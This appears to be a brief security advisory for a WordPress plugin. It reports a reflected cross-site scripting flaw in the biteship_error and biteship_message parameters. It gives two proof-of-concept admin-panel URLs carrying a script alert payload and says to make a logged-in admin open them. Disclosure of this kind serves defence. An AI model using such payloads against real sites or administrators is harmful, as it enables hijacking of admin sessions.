Description The plugin does not sanitise and escape the biteship_error and biteship_message parameters before outputting them back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
Make a logged in admin open one of the URLs below:
https://example.com/wp-admin/admin.php?page=wc-settings&biteship_operation=1&biteship_message=<script>alert(/XSS/)</script>
https://example.com/wp-admin/admin.php?page=wc-settings&biteship_operation=1&biteship_error=<script>alert(/XSS/)</script>